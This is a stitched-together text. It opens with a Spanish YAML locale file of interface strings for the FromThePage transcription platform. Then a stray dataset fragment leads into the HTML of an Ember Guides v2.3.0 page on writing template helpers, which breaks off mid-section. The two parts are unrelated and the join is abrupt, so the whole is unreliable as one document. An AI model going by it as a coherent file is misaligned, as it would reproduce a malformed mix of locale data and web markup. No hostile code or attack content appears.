all_collections: "Todas las Colecciones"
search_for_collections_or_owners: "Buscar colecciones o dueños..."
search: "Búsqueda"
search_for_collections: "Búsqueda de obras"
recent_activity: "Actividad Reciente"
watchlist:
projects_you_have_contributed_to: "Los proyectos a los que has contribuido -- transcribiendo, editando o comentando -- se enumerarán aquí con su actividad más reciente para que puedas mantenerte al día con lo que está sucediendo."
you_might_want_to_try: "Aún no has participado en ningún proyecto. Quizás desees intentar transcribir una página de "
try_transcribing_a_page: "Aún no has participado en ningún proyecto. Intenta transcribir una página de uno de estos "
collections: "colecciones"
private_collections_you_belong_to: "Colecciones Privadas a las que Perteneces"
owned_by: "Por %{author}"
everyone_activity: "Actividad de todos"
your_activity: "Tu Actividad"
owner:
see_all_works: "Consulte Todas las Obras..."
start_a_project: "Iniciar Un Proyecto"
total_work_count: "Recuento total de obras: %{count}"
you_can_add_another_work: "Puedes añadir otra obra bajo %{start_project}"
there_are_no_works: "Todavía no hay obras en esta colección"
you_can_upload_documents: "Puedes subir documentos en %{start_project}"
document_sets: "Conjuntos de Documentos"
create_a_collection: "crear una colección"
you_dont_have_any_collections: "No hay colecciones todavía"
you_can_new_collection: "Puedes %{new_collection}"
your_activity: "Tu Actividad"
owner_header:
owner_dashboard: "Panel de Control del Dueño"
create_a_collection: "Crear una colección"
start_a_project: "Iniciar Un Proyecto"
your_collections: "Tus Colecciones"
summary: "Resumen"
upload:
upload_pdf_or_zip_file: "Subir archivo PDF o ZIP"
trial_accounts_are_limited: "Las cuentas de prueba están limitadas a 200 páginas. Por favor contacta a [email protected] para actualizar tu cuenta."
import_form_message: "Utilizando este formulario puedes importar imágenes de página a FromThePage. Debes seleccionar una colección como destino de importación y adjuntar un archivo ZIP o PDF que contenga las imágenes de página que se usarán en tu proyecto."
upload_file: "Subir archivo"
click_to_browse_a_file: "Haz clic para consultar un archivo..."
click_to_browse_files: "Haz clic para consultar los archivos..."
browse: "Navegar"
use_image_filenames: "Utilizar los nombres de archivo de las imágenes como títulos de página."
use_ocr_from_pdf: "Utilizar el OCR de la capa de texto del PDF."
zip_files_may_contain: "Los archivos ZIP pueden contener carpetas con imágenes, PDFs o carpetas que contengan archivos PDF."
each_folder_will_be_treated: "Cada carpeta se tratará como un documento diferente, por lo tanto, no mezcle páginas de documentos diferentes en la misma carpeta."
each_pdf_will_be_treated: "Cada PDF se tratará como su propio documento, por lo tanto, no divida las páginas del mismo documento entre más de un PDF."
for_example_a_zip_file: "Por ejemplo, un archivo ZIP con 3 imágenes, 2 PDFs, y 1 carpeta que contenga 5 imágenes más crearía 4 obras: las imágenes de nivel superior en una, cada PDF en su propia obra, y un último trabajo con las 5 imágenes de la carpeta."
to_specify_metadata: "Para especificar metadatos junto con imágenes, incluya un archivo %{link} en cada carpeta que especifique campos para la obra."
upload_file: "Subir archivo"
new_work:
import_a_iiif_manifest_or_collection: "Importar Manifiesto IIIF o Colección"
import_from_contentdm: "Importar desde CONTENTdm"
paste_in_the_url: "Pega el URL del objeto compuesto de tu sitio CONTENTdm."
import_from_the_internet_archive: "Importar desde Internet Archive"
import_from_archive_dot_org: "Importar desde Archive.org"
you_have_not_connected: "No has conectado ninguna página web de Omeka. Utiliza el botón de abajo para crear una nueva conexión de Omeka."
edit_site: "Editar Página Web"
delete_site: "Eliminar Página Web"
add_source: "Añadir Fuente"
page_image_guidelines: "Guías para Imagen de Página"
acceptable_formats: "Los archivos PNG, GIF y JPG son aceptables."
images_should_be_oriented: "Las imágenes deben estar orientadas para que el lado correcto quede hacia arriba."
images_should_be_split_down: "Las imágenes deben dividirse por el lomo para que solo una página sea visible en la imagen.<br> (Consulte la herramienta %{link} si necesita dividir imágenes de dos páginas.)"
images_should_be_named: "Las imágenes deben nombrarse de modo que un ordenamiento alfabético dará como resultado el orden de página correcto.<br> (Esto puede requerir \"cero-relleno\" para cualquier número de página: <code>pagina_09.jpg, pagina_10jpg</code> se ordenará correctamente, pero <code>page_9.jpg, pagina_10.jpg</code> no.)"
new_upload:
document_uploaded: "El documento se ha subido y se procesará en breve. Te enviaremos un correo electrónico a %{email} cuando esté listo."
reload_this_page: "El documento se ha subido y se procesará en breve. Vuelve a cargar esta página en unos minutos para verlo."
create_work:
work_created: "La obra ha sido creada exitosamente"
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" />
<!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Writing Helpers - Templates - Ember Guides</title>
<meta name="description" content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users.
For example,...">
<meta name="referrer" content="unsafe-url">
<!---->
<!---->
<!---->
<!---->
<meta property="og:title" content="Writing Helpers - Templates - Ember Guides">
<!---->
<meta property="og:description" content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users.
For example,...">
<meta property="og:type" content="website">
<!---->
<meta name="twitter:card" content="summary">
<!---->
<!---->
<meta name="twitter:title" content="Writing Helpers - Templates - Ember Guides">
<!---->
<meta name="twitter:description" content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users.
For example,...">
<!---->
<!---->
<!----><meta name="ember-cli-head-end" content>
<link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css">
<link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css">
<link rel="shortcut icon" href="/images/favicon.png" />
</head>
<body class="application version show version-show">
<script type="x/boundary" id="fastboot-body-start"></script><!---->
<header id="ember115693" class="es-header ember-view" role="banner"><div id="ember115694" class="ember-view"><div class="container">
<nav id="ember115695" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com">
<svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg>
</a>
<button id="ember115696" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span>
</button>
<div id="ember115697" class="navbar-collapse collapse ember-view"><ul id="ember115698" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember115699" class="dropdown nav-item ember-view"> <a href="#" id="ember115700" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a>
<!---->
</li>
<!----><li id="ember115702" class="dropdown nav-item ember-view"> <a href="#" id="ember115703" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a>
<!---->
</li>
<li id="ember115705" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a>
</li><!---->
<!----><li id="ember115706" class="dropdown nav-item ember-view"> <a href="#" id="ember115707" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a>
<!---->
</li>
<!----><li id="ember115709" class="dropdown nav-item ember-view"> <a href="#" id="ember115710" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a>
<!---->
</li>
</ul><ul id="ember115712" class="nav navbar-nav ember-view"> <form>
<div id="ember115713" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search">
<div id="ember115714" class="ds-dropdown-results ember-tether ember-view"><!----></div></div>
</form>
</ul>
</div>
</nav></div>
</div>
</header>
<!---->
<div class="info-banner-wrapper">
<div class="info-banner-container">
<div id="ember115715" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p>
</div>
</div>
</div>
<main class="container">
<aside class="sidebar">
<label for="version-select" class="visually-hidden">Guides version</label>
<div id="ember115716" class="ember-basic-dropdown ember-view">
<div aria-label="v2.3.0" aria-owns="ember-basic-dropdown-content-ember115716" tabindex="0" data-ebd-id="ember115716-trigger" role="button" id="ember115717" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.3 <!---->
</span>
<!----><span class="ember-power-select-status-icon"></span>
</div>
<div id="ember-basic-dropdown-content-ember115716" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div>
</div>
<input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox">
<label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label>
<nav class="toc-container versions" aria-label="table of contents">
<ol id="ember115721" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0">
<div id="ember115724" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/getting-started" id="ember115725" class="cp-Panel-toggle ember-view"> Getting Started
</a>
<div id="ember115726" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115728" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/tutorial" id="ember115729" class="cp-Panel-toggle ember-view"> Tutorial
</a>
<div id="ember115730" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115732" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/object-model" id="ember115733" class="cp-Panel-toggle ember-view"> The Object Model
</a>
<div id="ember115734" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115736" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/routing" id="ember115737" class="cp-Panel-toggle ember-view"> Routing
</a>
<div id="ember115738" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115740" class="cp-Panel cp-is-open ember-view"><a href="/v2.3.0/templates" id="ember115741" class="cp-Panel-toggle ember-view"> Templates
</a>
<div id="ember115742" class="cp-Panel-body cp-is-open ember-view">
<div class="cp-Panel-body-inner">
<ol id="ember115743" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/index" id="ember115745" class="ember-view"> Handlebars Basics
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/built-in-helpers" id="ember115747" class="ember-view"> Built-in Helpers
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/conditionals" id="ember115749" class="ember-view"> Conditionals
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/displaying-a-list-of-items" id="ember115751" class="ember-view"> Displaying a List of Items
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/displaying-the-keys-in-an-object" id="ember115753" class="ember-view"> Displaying the Keys in an Object
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/binding-element-attributes" id="ember115755" class="ember-view"> Binding Element Attributes
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/links" id="ember115757" class="ember-view"> Links
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/actions" id="ember115759" class="ember-view"> Actions
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/input-helpers" id="ember115761" class="ember-view"> Input Helpers
</a> </li>
<li class="toc-link toc-level-1 ">
<a href="/v2.3.0/templates/development-helpers" id="ember115763" class="ember-view"> Development Helpers
</a> </li>
<li class="toc-link toc-level-1 selected">
<a href="/v2.3.0/templates/writing-helpers" id="ember115765" class="selected ember-view"> Writing Helpers
</a> </li>
</ol>
</div>
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115767" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/components" id="ember115768" class="cp-Panel-toggle ember-view"> Components
</a>
<div id="ember115769" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115771" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/controllers" id="ember115772" class="cp-Panel-toggle ember-view"> Controllers
</a>
<div id="ember115773" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115775" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/models" id="ember115776" class="cp-Panel-toggle ember-view"> Models
</a>
<div id="ember115777" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115779" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/applications" id="ember115780" class="cp-Panel-toggle ember-view"> Application Concerns
</a>
<div id="ember115781" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115783" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/testing" id="ember115784" class="cp-Panel-toggle ember-view"> Testing
</a>
<div id="ember115785" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115787" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/ember-inspector" id="ember115788" class="cp-Panel-toggle ember-view"> Ember Inspector
</a>
<div id="ember115789" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115791" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/addons-and-dependencies" id="ember115792" class="cp-Panel-toggle ember-view"> Addons and Dependencies
</a>
<div id="ember115793" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115795" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/configuring-ember" id="ember115796" class="cp-Panel-toggle ember-view"> Configuring Ember.js
</a>
<div id="ember115797" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115799" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/contributing" id="ember115800" class="cp-Panel-toggle ember-view"> Contributing to Ember.js
</a>
<div id="ember115801" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
<li class="toc-group toc-level-0">
<div id="ember115803" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/glossary" id="ember115804" class="cp-Panel-toggle ember-view"> Glossary
</a>
<div id="ember115805" class="cp-Panel-body ember-view">
<!---->
</div>
</div> </li>
</ol>
</nav>
</aside>
<article id="ember115806" class="chapter ember-view"> <div class="old-version-warning">
<i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.3.0.
<a href="/release/templates/writing-helpers" id="ember115807" class="btn ember-view"> VIEW v3.15.0 </a>
</div>
<a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.3.0/templates/writing-helpers.md" target="_blank" class="edit-page icon-pencil" rel="noopener">
Edit Page
</a>
<h1>
Writing Helpers
</h1>
<hr>
<div id="ember115808" class="ember-view"><p>Helpers allow you to add additional functionality to your
templates beyond what is included out-of-the-box in Ember. Helpers are
most useful for transforming raw values from models and components into
a format more appropriate for your users.</p>
<p>For example, imagine we have an <code>Invoice</code> model that contains a
<code>totalDue</code> attribute, which represents the total amount due for that
invoice. Because we do not want our company to go out of business due
to strange JavaScript rounding errors, <a href="http://stackoverflow.com/a/3730040">we store this value in cents
instead of a floating point dollar value</a>.</p>
<p>However, if we display dollar values to our users as "100¢" instead of
"$1.00", they may be very confused. We can write a helper to
format these values into the appropriate human-readable form.</p>
<p>Let's create a <code>format-currency</code> helper that takes an integer count of
cents and turns it into formatted dollars.</p>
<p>To use the <code>format-currency</code> helper, you call it using curly braces in
your template:</p>
<pre><code class="handlebars language-handlebars">Your total is {{format-currency model.totalDue}}.
</code></pre>
<p>Let's now implement the helper. Helpers are functions that take
one or more inputs and return a single output that should be put into
the HTML.</p>
<p>To add a new helper, create a file with the name of the helper you want
(e.g. <code>format-currency.js</code>) in your application's <code>helpers</code> directory.
You can also have Ember generate the file for you from the command line:</p>
<pre><code class="bash language-bash">ember generate helper format-currency
</code></pre>
<p>That file should export a function wrapped with <a href="https://api.emberjs.com/classes/Ember.Helper.html"><code>Ember.Helper.helper()</code></a>:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export function formatCurrency(params) {
let value = params[0],
dollars = Math.floor(value / 100),
cents = value % 100,
sign = '$';
if (cents.toString().length === 1) { cents = '0' + cents; }
return `${sign}${dollars}.${cents}`;
}
export default Ember.Helper.helper(formatCurrency);
</code></pre>
<p>In this example, the function receives a dollar amount in cents as the first
parameter (<code>params[0]</code>). We then use regular JavaScript to turn the
count of cents into a formatted string, like <code>"$5.00"</code>.</p>
<p>Whenever you use your helper in a template, Ember will call this
function and insert whatever you return from the helper into the DOM.</p>
<p>So, if we want to display a purchase total we can pass the value into the template in cents:</p>
<pre><code class="handlebars language-handlebars">Your total is {{format-currency 250}}.
</code></pre>
<p>And Ember makes use of our new helper function to replace the content inside the <code>{{ }}</code> with the formatted amount.</p>
<pre><code class="handlebars language-handlebars">Your total is $2.50.
</code></pre>
<p>Whenever the arguments you've passed to a helper change, whether they
come from a model or a component, Ember will automatically call your
helper again with the new values and keep the page up-to-date.</p>
<h3 id="toc_helper-names">Helper Names</h3>
<section aria-labelledby="toc_helper-names">
<p>Unlike components, helpers do not require a dash (<code>-</code>) character in
their name.</p>
</section>
<h3 id="toc_helper-arguments">Helper Arguments</h3>
<section aria-labelledby="toc_helper-arguments">
<p>You can pass one or more arguments to be used
inside the function. In the above example, we passed the amount in cents
as the first and only argument.</p>
<p>To pass multiple arguments to a helper, add them as a space-separated
list after the helper name:</p>
<pre><code class="handlebars language-handlebars">{{my-helper "hello" "world"}}
</code></pre>
<p>An array of these arguments is passed to the helper function:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params) {
let arg1 = params[0];
let arg2 = params[1];
console.log(arg1); // => "hello"
console.log(arg2); // => "world"
});
</code></pre>
<p>You can use JavaScript's destructuring assignment shorthand to clean up
the code. This example is equivalent to the above example (note the function signature):</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function([arg1, arg2]) {
console.log(arg1); // => "hello"
console.log(arg2); // => "world"
});
</code></pre>
</section>
<h3 id="toc_named-arguments">Named Arguments</h3>
<section aria-labelledby="toc_named-arguments">
<p>Normal arguments are useful for passing data to be transformed into
helper functions. However, because the order in which you pass arguments
matters, it is usually best not to have helpers take more than one or
two of them.</p>
<p>That said, sometimes you may want to make behavior of helpers
configurable by the developers that call them from their templates. For
example, let's abandon our Americentric ways and update our
<code>format-currency</code> helper to take an optional configuration for which
currency symbol to display.</p>
<p>Helpers allow you to pass named arguments as a JavaScript
object that contains the name of the argument along with an associated
value. The order in which named arguments are supplied does not affect
functionality.</p>
<p>In this example, we can pass a <code>sign</code> argument to our <code>format-currency</code>
helper:</p>
<pre><code class="handlebars language-handlebars">{{format-currency 350 sign="£"}}
</code></pre>
<p>We'd like our helper to print pounds sterling rather than US dollars:</p>
<pre><code class="handlebars language-handlebars">£3.50
</code></pre>
<p>The object containing named arguments is passed as the second argument
to the helper function. Here is our example from above, updated to
support the optional <code>sign</code> option:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export default Ember.Helper.helper(function(params, namedArgs) {
let value = params[0],
dollars = Math.floor(value / 100),
cents = value % 100,
sign = namedArgs.sign === undefined ? '$' : namedArgs.sign;
if (cents.toString().length === 1) { cents = '0' + cents; }
return `${sign}${dollars}.${cents}`;
});
</code></pre>
<p>You can pass as many named arguments as you'd like. They get added to the
<code>namedArgs</code> argument passed to the function:</p>
<pre><code class="handlebars language-handlebars">{{my-helper option1="hello" option2="world" option3="goodbye cruel world"}}
</code></pre>
<pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params, namedArgs) {
console.log(namedArgs.option1); // => "hello"
console.log(namedArgs.option2); // => "world"
console.log(namedArgs.option3); // => "goodbye cruel world"
});
</code></pre>
<p>You can use JavaScript's destructuring assignment shorthand in this case
as well to clean up the above code:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params, { option1, option2, option3 }) {
console.log(option1); // => "hello"
console.log(option2); // => "world"
console.log(option3); // => "goodbye cruel world"
});
</code></pre>
<p>In sum, arguments are good for passing values:</p>
<pre><code class="handlebars language-handlebars">{{format-date currentDate}}
</code></pre>
<p>Hashes are useful for configuring the behavior of a helper:</p>
<pre><code class="handlebars language-handlebars">{{print-current-date format="YYYY MM DD"}}
</code></pre>
<p>You can have as many of both as you want, so long as the parameters come
first:</p>
<pre><code class="handlebars language-handlebars">{{format-date-and-time date time format="YYYY MM DD h:mm" locale="en"}}
</code></pre>
<p>The above example contains two arguments:</p>
<ul>
<li><code>date</code></li>
<li><code>time</code></li>
</ul>
<p>And two named arguments:</p>
<ul>
<li><code>format="YYY MM DD h:mm"</code></li>
<li><code>locale="en"</code></li>
</ul>
</section>
<h3 id="toc_class-based-helpers">Class-based Helpers</h3>
<section aria-labelledby="toc_class-based-helpers">
<p>By default, helpers are <em>stateless</em>. They are passed inputs (parameters
and a hash), they perform an operation on those inputs, and return a
single output. They have no side-effects and don't save any information
that is used on subsequent runs of the function.</p>
<p>In some situations, however, you may need to write a helper that interacts with
the rest of your application. You can create class-based helpers that have
access to services in your application, and can optionally save state as well,
although this is usually unnecessary and error-prone.</p>
<p>To create a class-based helper, rather than exporting a simple function, you
should export a subclass of <a href="https://api.emberjs.com/classes/Ember.Helper.html"><code>Ember.Helper</code></a>. Helper classes must contain a
<a href="https://api.emberjs.com/classes/Ember.Helper.html#method_compute"><code>compute</code></a> method that behaves the same as the function passed to
<a href="https://api.emberjs.com/classes/Ember.Helper.html#method_helper"><code>Ember.Helper.helper</code></a>. In order to access a service, you must first inject it
into the class-based helper. Once added, you can call the service's methods or
access its properties from within the <code>compute()</code> method.</p>
